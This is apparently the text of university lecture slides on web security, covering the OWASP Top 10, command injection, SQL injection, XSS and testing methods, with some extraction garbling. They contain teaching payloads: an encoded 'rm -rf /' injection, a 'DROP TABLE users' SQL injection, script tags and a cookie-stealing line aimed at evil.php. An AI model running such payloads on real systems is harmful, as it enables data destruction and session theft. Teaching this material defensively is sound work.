Pattern Recognition and Applications Lab WEB Security Giorgio Giacinto giacinto@diee.unica.it Sicurezza Informa1ca, 2015-2016 Department of Electrical and Electronic Engineering University of Cagliari, Italy Threat Landscape 2015 2
Exploi)ng Vulnerable Hosts http://pralab.diee.unica.it 3 HostExploit 4
HostExploit 5 Hosts with Infected Web Sites 6
How to Exploit Vulnerable Hosts? 1. Find a Vulnerable Host Specific Search Engines 2. Download one or more Exploits Specific Repositories 3. A@ack the web site Be carefully not to leave traces J ETHICAL HACKING!!! 7 Shodan 8
Metasploit 9 Exploit Database 10
Web Applica1on Exploits 11 Web Applica)on A@acks http://pralab.diee.unica.it 12
Architecture of Informa1on Systems Web pages are created dynamically by querying a database selec1on of products in e-commerce sites selec1on of courses in the university etc. Rela)onal databases are the core of many web sites usually part of the informa1on system of the organiza1on How to query the database through the web site? 13 Web Applica1on Exploita1on Web pages contains TEXT and Mul1media content Commands and instruc1ons to shape the web page, and provide for dynamic content, are textual tokens embedded within the content of the page. Goal of the a:acker: to disguise malicious commands as legi1mate content when filling a web form querying a database through a web interface pos1ng a comment in a web forum 14
Web-based a:acks Symantec 2015 15 Web A:acks sta1s1cs IBM 2015 IBM 2014 16
OWASP Top10 2013 The Ten Most Cri)cal Web Applica)on Security Risk http://pralab.diee.unica.it 17 OWASP Open Web Applica)on Security Project No profit organiza1on Applica1on security tools and standards Complete books on applica1on security tes1ng, secure code development, and secure code review Standard security controls and libraries Local chapters world wide Cuang edge research Extensive conferences worldwide Mailing lists 18
Applica1on Security Risk OWASP 19 A1 - Injec1on Preven)on Use of safe parametrised API OWASP 20
A2 - Broken Authen1ca1on and Session Management Preven)on Use of strong authen1ca1on and session management control OWASP 21 A3 Cross-Site Scrip1ng (XSS) Preven)on escape all untrusted data based on the HTML context (body, a:ribute, JavaScript, CSS, or URL) that the data will be placed into OWASP 22
A4 - Insecure Direct Object References Preeven)on per user o per session indirect object references OWASP 23 A5 Security Misconfigura1on Preven)on hardening secure separa1on between components OWASP 24
A6 Sensi1ve Data Exposure Preven)on encryp1on not storing unnecessary sensi1ve data OWASP 25 A7 - Missing Func1on Level Access Control Preven)on one authoriza1on module invoked by all applica1on this module should be easy to analyse OWASP 26
A8 - Cross-Site Request Forgery (CSRF) Preven)on inclusion of an unpredictable token in each HTTP request. hidden field tokens should be unique per user session OWASP 27 A9 - Using Components with Known Vulnerabili1es Preven)on monitor the security of all cri1cal components in public databases, mailing lists, etc. OWASP 28
A10 - Unvalidated Redirects and Forwards Preven)on avoid using redirects and forwards. If used, don t involve user parameters in calcula1ng the des1na1on If des1na1on parameters can t be avoided, ensure that the supplied value is valid, and authorized for the user OWASP 29 Web Security Command Injec)on http://pralab.diee.unica.it 30
PHP at work Web Browser display.php URI Web Server Web Page PHP->Web Page display.php: <? echo system( cat.$_get[ file ]);?> system(call,args) performs a system call in the working directory (dot) concatenates string 31 PHP at work command injec1on Web Browser URI display.php?file=cal.txt Content of cal.txt Web Server system( cat. $_GET[ file ]) Shell Command cat cal.txt What happens if we forge the URI display.php?file=cal.txt%3b%20rm%20-rf%20%2f%3b%0a%0a h:p://www.url-encode-decode.com 32
Command Injec1on display.php?file=cal.txt%3b%20rm%20-rf%20%2f%3b%0a%0a translates into display.php?file=cal.txt; rm rf /; and the shell executes cat cal.txt; rm rf; Solu)ons Input Valida)on Using less powerful API 33 Input Valida1on Blacklis)ng is ineffec)ve we should list all possible invalid input strings Whitelis)ng checking if the input string has the expected format Input Escaping adding quotes to the input string 34
Using less powerful API The system API is simple to use BUT it is too powerful allows an a:acker to run any system command Select the API that performs just what we need 35 SQL Injec)on http://pralab.diee.unica.it 36
SQL and the Web A login func)on in PHP login.php: $result = pg_query("select * from users WHERE uid = '".$_GET['user']."' AND pwd = '".$_GET['pwd']."';"); if (pg_query_num($result) > 0) { echo "Success"; user_control_panel_redirect(); What s wrong with this func)on? 37 Vulnerabili1es in query forma1on login.php?user=giorgio&pwd=hello123 The login func)on will form the following SQL query SELECT * from users WHERE uid= giorgio' AND pwd = hello123'; We get success if the table users contains a user with the same creden)als in the URI What happens if we forge the URI login.php?user=admin --&pwd=f PHP & SQL syntax 38
Dele1ng Tables login.php allows dele)ng the table users? YES! login.php?user=admin%27%3b%20drop%20table%20users%3b--&pwd=f decoded login.php?user=admin ; DROP TABLE users;--&pwd=f PHP will execute pg_query("select * from users WHERE uid = 'admin'; DROP TABLE users;--' AND pwd = 'f';"); that is equivalent to pg_query("select * from users WHERE uid = 'admin'; DROP TABLE users;"); 39 Defenses Input valida)on and input escaping prevents trivial injec1ons but injec1ons are s1ll possible! Use of prepared statements variables for data untrusted data cannot be interpreted as commands 40
SQL injec1on 41 Cross-Site Scrip)ng (XSS) http://pralab.diee.unica.it 42
Scripts Scripts programs wri:en for a special run-)me environment that can interpret and automate the execu1on of tasks Web script add dynamic capabili)es to web pages Languages: ASP, PERL, PHP, Javascript, Client-side scrip)ng instruc1ons are executed within the client environment Server-side scrip)ng instruc1ons are executed within the server environment 43 Types of XSS Three types of XSS Type I: Persistent or Stored XSS the a:ack vector is stored at the server Type II: Reflected or Non Persistent the a:ack vector is reflected off the web server it reaches the vic1m via other web servers, email, etc. Type 0: DOM Based the vulnerability is in the client side code 44
Recent Classifica1on of XSS OWASP 45 Scenario for Type I XSS Alice posts a comment Bob reads Alice s comment The comment is saved 46
Type I XSS - Persistent or Stored Target: web sites that allow users pos)ng comments Example of PHP code for pos)ng a comment <? echo "<div class='comment'>$comment</div>";?> If a user writes the comment This site contains cool stuff! the following HTML code is generated <div class='comment'>this site contains cool stuff!</div> What if the user posts the following comment? <script>coolexploit()</script> 47 Type I XSS The a:acker posts a malicious script When Bob retrieves the comment the malicious script is executed The malicious script is saved 48
Type II XSS - Reflected Example A web server with a search func)on when results are displayed, the following header is produced <? echo Your query $_GET['query'] returned $num results.";?> Typical response Your query Jazz returned 185 results 49 Type II XSS What happens if we forge the URI search.php?query=<script>exploit()</script> The browser will render the following HTML code Your query <script>exploit()</script> returned 0 results So the a@ack? The vic)m would need to forge his own URI 50
Type II XSS - Reflec1on Vulnerable server The a:acker sends an email to the vic1m with the forged URI The vic1m clicks on the link in the email The malicious script is executed on the vic1m s browser 51 Type II XSS Error page example Server code for displaying an error message page not found <html> <body> <? php print "Not found: ". urldecode($_server["request_uri"]);?> </body> </html> 52
Type II XSS Error page example When reques)ng http://www.test.com/file_which_not_exist the browser will display Not found: /file_which_not_exist If we request http://www.test.com/<script>alert("test");</script> the browser will display Not found: / (but with JavaScript code <script>alert("test");</script>) The script can be used to steal user s cookies 53 Type 0 DOM Based Client-side XSS the exploited vulnerability occurs at the client-side the server is vulnerable because it passes the code to the client the script is executed by the client! Example stored XSS to steal user s cookie <SCRIPT type="text/javascript > var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT> 54
Preven1on of XSS a:acks XSS success depends on HTML context all the parameters in the URI How to prevent XSS? Input sani1za1on helps, but it is not sufficient Careful choice of the API! 55 OWASP Tes)ng Guide http://pralab.diee.unica.it 56
OWASP Tes1ng Guide Applica)on development must follow a clear methodology to avoid known vulnerabili)es Generic SDLC Model Tes)ng must take into account People to ensure that there is adequate educa1on and awareness Process to ensure that there are adequate policies and standards and that people know how to follow these policies Technology to ensure that the process has been effec1ve in its implementa1on. 57 Basic principles of Tes1ng There is No Silver Bullet! Think Strategically, Not Tac)cally The SDLC is King Test Early and Test Ogen Understand the Scope of Security Develop the Right Mindset Understand the Subject Use the Right Tools The Devil is in the Details Use Source Code When Available Develop Metrics Document the Test Results 58
OWASP Tes1ng Techniques Manual Inspec)ons & Reviews Threat Modelling Source Code Review Penetra)on Tes)ng 59 OWASP Tes1ng Framework Phase 1: Before Development Begins Phase 1.1: Define a SDLC Phase 1.2: Review Policies and Standards Phase 1.3: Develop Measurement and Metrics Criteria and Ensure Traceability Phase 2: During Defini)on and Design Phase 2.1: Review Security Requirements Phase 2.2: Review Design and Architecture Phase 2.3: Create and Review UML Models Phase 2.4: Create and Review Threat Models 60
OWASP Tes1ng Framework Phase 3: During Development Phase 3.1: Code Walk Through Phase 3.2: Code Reviews Phase 4: During Deployment Phase 4.1: Applica1on Penetra1on Tes1ng Phase 4.2: Configura1on Management Tes1ng Phase 5: Maintenance and Opera)ons Phase 5.1: Conduct Opera1onal Management Reviews Phase 5.2: Conduct Periodic Health Checks Phase 5.3: Ensure Change Verifica1on 61 OWASP Web Applica1on Security Tes1ng Informa)on Gathering Configura)on and Deployment Management Tes)ng Iden)ty Management Tes)ng Authen)ca)on Tes)ng Authoriza)on Tes)ng Session Management Tes)ng Input Valida)on Tes)ng Tes)ng for Error Handling Tes)ng for weak Cryptography Business Logic Tes)ng Client Side Tes)ng 62
Automated tes1ng tools Code review Commercial: For1fy Sosware (HP); IBM AppScan Source, Contrast Security, etc. Open Source: OWASP Orizon, OWASP O2, OWASP Codecrawler, etc. Applica)on tes)ng (black box) Commercial: IBM AppScan Standard, HP WebInspect, etc. Open Source: OWASP Zap, SQLMap, etc. 63 Training on Web A@acks http://pralab.diee.unica.it 64
Tools available to learn web security Sandboxes on Hack.Me Mu1llidae covers the OWASP Top10 2010 latest version on h:p://sourceforge.net/projects/mu1llidae/ Web App Hack Tutorial U-Hack-It DVWA h:p://www.dvwa.co.uk h:ps://www.owasp.org/index.php/owasp_vulnerable_web_applica1ons_directory_project 65